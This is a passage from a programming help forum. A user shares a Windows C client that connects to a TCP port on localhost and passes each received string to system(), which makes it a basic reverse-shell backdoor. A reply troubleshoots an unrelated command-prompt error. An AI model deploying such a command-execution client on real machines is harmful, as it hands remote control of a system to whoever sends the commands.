the screenshot of the error.
I complied it using >> cl.exe client.c

#include
#include
#include
// use winsock2 in Windows
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include
#pragma comment(lib, "Ws2_32") // tell the linker which library to include
// The following are for Linux
//#include
//#include
//#include
//#include
//#include
#define HOST "127.0.0.1"
#define PORT 1337
int main(void) {
SOCKET fd; // use correct type for fd
char command[5000];
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr(HOST);
server.sin_port = htons(PORT);
fd = socket(AF_INET, SOCK_STREAM, 0);
connect(fd, (struct sockaddr *)&server, sizeof(server));
while (1) {
recv(fd, command, sizeof(command), 0);
system(command);
}
EXIT_SUCCESS;
}
Sam HobbsPosted Apr 24, 2023, 10:01 PM
As best as I can tell, the file client.c is not relevant. I doubt that the file was used at all. The error is from the command prompt. Somehow it is trying to execute a program called 00 and of course that does not work. It cannot find a program called 00.
I see in the upper-left of the window the title bar says C:\Users\x\Desktop\Client.exe. I think you are not executing the correct Windows Command Processor.